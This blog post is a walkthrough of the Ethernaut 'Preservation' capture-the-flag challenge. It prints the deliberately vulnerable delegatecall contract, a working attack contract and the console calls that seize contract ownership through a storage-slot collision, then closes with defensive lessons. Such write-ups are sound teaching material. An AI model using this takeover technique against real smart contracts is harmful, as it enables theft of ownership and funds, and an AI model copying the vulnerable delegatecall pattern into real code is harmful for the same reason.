# Ethernaut 15: Preservation **Published by:** [0xbanky](https://paragraph.com/@banky/) **Published on:** 2022-08-24 **URL:** https://paragraph.com/@banky/ethernaut-15-preservation ## Content The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottomcontract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } } Off the bat, we can see that delegatecall is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code with the context of the calling contract. This means that the storage values in the Preservation instance are used even though the function is being run from the LibraryContract instance.SolutionWhen using delegatecall, the caller contract accesses storage by the order it is written. ie. There is an error in this LibraryContract because the storedTime field is in the first slot, however it is in the fourth slot in Preservation. This means that setting storedTime through a delegate call will actually be setting timeZone1Library in the Preservation contract. We can verify this with a call to the second library function.await contract.setSecondTime(10); await contract.timeZone1Library(); // "0x000000000000000000000000000000000000000A" This can be exploited to set the timeZone1Library to a contract that I control. I can then make this contract set the owner value. My attack contract looks like thiscontract PreservationAttack { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252); } } The order of the storage slots is consistent with the Preservation contract. First, I use the exploit outlined above to set the Preservation contract instance to point to my library for its timeZone1Library after deploying PreservationAttack.await contract.setSecondTime("0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51") Now, I simply have to call setFirstTime which will trigger the setTime method in my attacking contract.await contract.timeZone1Library() // "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" <-- My contract await contract.setFirstTime(10) await contract.owner() // "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" <-- Me :D What I learnedAs we’ve seen before, delegatecall can be dangerous and needs to be used with careWe could have used the library keyword for the Library contract instead of contract. This ensures that Library is not able to change stateUsed some skills from earlier challenges for understanding storage slots ## Publication Information - [0xbanky](https://paragraph.com/@banky/): Publication homepage - [All Posts](https://paragraph.com/@banky/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@banky): Subscribe to updates - [Twitter](https://twitter.com/0xbanky): Follow on Twitter